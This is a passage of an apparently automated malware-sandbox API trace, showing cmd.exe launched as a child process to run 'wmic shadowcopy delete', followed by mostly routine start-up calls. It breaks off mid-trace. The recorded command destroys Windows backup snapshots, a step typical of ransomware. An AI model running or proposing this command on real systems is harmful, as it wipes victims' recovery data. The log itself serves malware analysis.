_get_osfhandle (_FileHandle=1) returned 0x7 [0051.860] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0051.860] _get_osfhandle (_FileHandle=0) returned 0x3 [0051.861] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0051.861] SetConsoleInputExeNameW () returned 0x1 [0051.861] GetConsoleOutputCP () returned 0x1b5 [0051.861] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0051.861] SetThreadUILanguage (LangId=0x0) returned 0x409 [0051.861] exit (_Code=2) Process: id = "28" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3189d000" os_pid = "0xbe4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 34 os_tid = 0xbf4 [0039.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x45fd34 | out: lpSystemTimeAsFileTime=0x45fd34*(dwLowDateTime=0xa8977860, dwHighDateTime=0x1d5e09d)) [0039.861] GetCurrentProcessId () returned 0xbe4 [0039.861] GetCurrentThreadId () returned 0xbf4 [0039.861] GetTickCount () returned 0x11550b0 [0039.861] QueryPerformanceCounter (in: lpPerformanceCount=0x45fd2c | out: lpPerformanceCount=0x45fd2c*=18173205269) returned 1 [0039.862] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0039.862] __set_app_type (_Type=0x1) [0039.862] __p__fmode () returned 0x76be31f4 [0039.862] __p__commode () returned 0x76be31fc [0039.862] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0039.862] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0039.862] GetCurrentThreadId () returned 0xbf4 [0039.863] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbf4) returned 0x60 [0039.863] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0039.863] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0039.863] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.864] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.864] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x45fcc4 | out: phkResult=0x45fcc4*=0x0) returned 0x2 [0039.865] VirtualQuery (in: lpAddress=0x45fcfb, lpBuffer=0x45fc94, dwLength=0x1c | out: lpBuffer=0x45fc94*(BaseAddress=0x45f000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.865] VirtualQuery (in: lpAddress=0x360000, lpBuffer=0x45fc94, dwLength=0x1c | out: lpBuffer=0x45fc94*(BaseAddress=0x360000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0039.865] VirtualQuery (in: lpAddress=0x361000, lpBuffer=0x45fc94, dwLength=0x1c | out: lpBuffer=0x45fc94*(BaseAddress=0x361000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0039.865] VirtualQuery (in: lpAddress=0x363000, lpBuffer=0x45fc94, dwLength=0x1c | out: lpBuffer=0x45fc94*(BaseAddress=0x363000, AllocationBase=0x360000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.865] VirtualQuery (in: lpAddress=0x460000, lpBuffer=0x45fc94, dwLength=0x1c | out: lpBuffer=0x45fc94*(BaseAddress=0x460000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0039.865] GetConsoleOutputCP () returned 0x1b5 [0039.865] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0039.865] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0039.865] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.865] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0039.865] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.865] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0039.866] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.866] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.866] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.866] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0039.866] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.866] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0039.866] GetEnvironmentStringsW () returned 0x7f1ff0* [0039.866] GetProcessHeap () returned 0x7e0000 [0039.866] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xaca) returned 0x7f2ac8 [0039.867] FreeEnvironmentStringsW (penv=0x7f1ff0) returned 1 [0039.867] GetProcessHeap () returned 0x7e0000 [0039.867] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x4) returned 0x7f0c28 [0039.867] GetEnvironmentStringsW () returned 0x7f1ff0* [0039.867] GetProcessHeap () returned 0x7e0000 [0039.867] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xaca) returned 0x7f35a0 [0039.867] FreeEnvironmentStringsW (penv=0x7f1ff0) returned 1 [0039.867] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45ec34 | out: phkResult=0x45ec34*=0x68) returned 0x0 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x0, lpData=0x45ec40*=0x0, lpcbData=0x45ec38*=0x1000) returned 0x2 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x1, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x0, lpData=0x45ec40*=0x1, lpcbData=0x45ec38*=0x1000) returned 0x2 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x0, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x40, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x40, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.867] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x0, lpData=0x45ec40*=0x40, lpcbData=0x45ec38*=0x1000) returned 0x2 [0039.867] RegCloseKey (hKey=0x68) returned 0x0 [0039.867] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x45ec34 | out: phkResult=0x45ec34*=0x68) returned 0x0 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x0, lpData=0x45ec40*=0x40, lpcbData=0x45ec38*=0x1000) returned 0x2 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x1, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x0, lpData=0x45ec40*=0x1, lpcbData=0x45ec38*=0x1000) returned 0x2 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x0, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x9, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x4, lpData=0x45ec40*=0x9, lpcbData=0x45ec38*=0x4) returned 0x0 [0039.868] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x45ec3c, lpData=0x45ec40, lpcbData=0x45ec38*=0x1000 | out: lpType=0x45ec3c*=0x0, lpData=0x45ec40*=0x9, lpcbData=0x45ec38*=0x1000) returned 0x2 [0039.868] RegCloseKey (hKey=0x68) returned 0x0 [0039.868] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1e [0039.868] srand (_Seed=0x5e423e1e) [0039.868] GetCommandLineW () returned="cmd.exe /c wmic shadowcopy delete" [0039.868] GetCommandLineW () returned="cmd.exe /c wmic shadowcopy delete" [0039.868] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.868] GetProcessHeap () returned 0x7e0000 [0039.868] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x210) returned 0x7f1ff0 [0039.868] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7f1ff8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0039.869] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.869] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.869] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0039.869] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0039.869] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0039.869] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0039.869] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0039.869] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0039.869] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0039.869] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0039.869] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0039.869] GetProcessHeap () returned 0x7e0000 [0039.869] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f2ac8 | out: hHeap=0x7e0000) returned 1 [0039.869] GetEnvironmentStringsW () returned 0x7f2208* [0039.869] GetProcessHeap () returned 0x7e0000 [0039.869] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xae2) returned 0x7f4b68 [0039.869] FreeEnvironmentStringsW (penv=0x7f2208) returned 1 [0039.869] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.869] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.869] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0039.869] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0039.869] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0039.869] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0039.869] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0039.870] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0039.870] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0039.870] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0039.870] GetProcessHeap () returned 0x7e0000 [0039.870] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x54) returned 0x7f5658 [0039.870] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x45fa00 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.870] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x45fa00, lpFilePart=0x45f9fc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f9fc*="Desktop") returned 0x25 [0039.870] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.870] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x45f77c | out: lpFindFileData=0x45f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7f1e70 [0039.870] FindClose (in: hFindFile=0x7f1e70 | out: hFindFile=0x7f1e70) returned 1 [0039.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x45f77c | out: lpFindFileData=0x45f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7f1e70 [0039.870] FindClose (in: hFindFile=0x7f1e70 | out: hFindFile=0x7f1e70) returned 1 [0039.870] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x45f77c | out: lpFindFileData=0x45f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7f1e70 [0039.870] FindClose (in: hFindFile=0x7f1e70 | out: hFindFile=0x7f1e70) returned 1 [0039.871] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.871] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0039.871] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0039.871] GetProcessHeap () returned 0x7e0000 [0039.871] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f4b68 | out: hHeap=0x7e0000) returned 1 [0039.871] GetEnvironmentStringsW () returned 0x7f4078* [0039.871] GetProcessHeap () returned 0x7e0000 [0039.871] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xb36) returned 0x7f5eb8 [0039.871] FreeEnvironmentStringsW (penv=0x7f4078) returned 1 [0039.871] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.871] GetProcessHeap () returned 0x7e0000 [0039.871] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f5658 | out: hHeap=0x7e0000) returned 1 [0039.871] GetProcessHeap () returned 0x7e0000 [0039.871] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x400e) returned 0x7f69f8 [0039.871] GetProcessHeap () returned 0x7e0000 [0039.871] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x3a) returned 0x7f1e70 [0039.872] GetProcessHeap () returned 0x7e0000 [0039.872] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f69f8 | out: hHeap=0x7e0000) returned 1 [0039.872] GetConsoleOutputCP () returned 0x1b5 [0039.872] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0039.872] GetUserDefaultLCID () returned 0x409 [0039.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0039.872] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x45fb40, cchData=128 | out: lpLCData="0") returned 2 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x45fb40, cchData=128 | out: lpLCData="0") returned 2 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x45fb40, cchData=128 | out: lpLCData="1") returned 2 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0039.873] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0039.873] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0039.874] GetProcessHeap () returned 0x7e0000 [0039.874] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x0, Size=0x20c) returned 0x7f2d80 [0039.874] GetConsoleTitleW (in: lpConsoleTitle=0x7f2d80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.874] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0039.875] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0039.875] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0039.875] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0039.875] GetProcessHeap () returned 0x7e0000 [0039.875] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x400a) returned 0x7f69f8 [0039.875] GetProcessHeap () returned 0x7e0000 [0039.875] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f69f8 | out: hHeap=0x7e0000) returned 1 [0039.875] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0039.876] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0039.876] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0039.876] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0039.876] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0039.876] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0039.876] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0039.876] GetProcessHeap () returned 0x7e0000 [0039.876] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x58) returned 0x7f2f98 [0039.876] GetProcessHeap () returned 0x7e0000 [0039.876] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x12) returned 0x7f2ff8 [0039.876] GetProcessHeap () returned 0x7e0000 [0039.876] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x2e) returned 0x7f3018 [0039.877] GetConsoleTitleW (in: lpConsoleTitle=0x45f838, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.877] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0039.877] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0039.877] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0039.877] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0039.877] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0039.877] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0039.877] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0039.877] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0039.877] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0039.877] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0039.877] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0039.877] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0039.877] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0039.878] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0039.878] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0039.878] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0039.878] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0039.878] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0039.878] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0039.878] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0039.878] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0039.878] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0039.878] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0039.878] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0039.878] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0039.878] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0039.878] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0039.878] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0039.878] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0039.878] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0039.878] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0039.878] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0039.878] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0039.878] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0039.878] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0039.878] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0039.878] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0039.878] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0039.878] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0039.878] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0039.878] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0039.878] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0039.878] _wcsicmp (_String1="wmic", _String2="DIR") returned 19 [0039.878] _wcsicmp (_String1="wmic", _String2="ERASE") returned 18 [0039.878] _wcsicmp (_String1="wmic", _String2="DEL") returned 19 [0039.878] _wcsicmp (_String1="wmic", _String2="TYPE") returned 3 [0039.878] _wcsicmp (_String1="wmic", _String2="COPY") returned 20 [0039.879] _wcsicmp (_String1="wmic", _String2="CD") returned 20 [0039.879] _wcsicmp (_String1="wmic", _String2="CHDIR") returned 20 [0039.879] _wcsicmp (_String1="wmic", _String2="RENAME") returned 5 [0039.879] _wcsicmp (_String1="wmic", _String2="REN") returned 5 [0039.879] _wcsicmp (_String1="wmic", _String2="ECHO") returned 18 [0039.879] _wcsicmp (_String1="wmic", _String2="SET") returned 4 [0039.879] _wcsicmp (_String1="wmic", _String2="PAUSE") returned 7 [0039.879] _wcsicmp (_String1="wmic", _String2="DATE") returned 19 [0039.879] _wcsicmp (_String1="wmic", _String2="TIME") returned 3 [0039.879] _wcsicmp (_String1="wmic", _String2="PROMPT") returned 7 [0039.879] _wcsicmp (_String1="wmic", _String2="MD") returned 10 [0039.879] _wcsicmp (_String1="wmic", _String2="MKDIR") returned 10 [0039.879] _wcsicmp (_String1="wmic", _String2="RD") returned 5 [0039.879] _wcsicmp (_String1="wmic", _String2="RMDIR") returned 5 [0039.879] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0039.879] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0039.879] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0039.879] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0039.879] 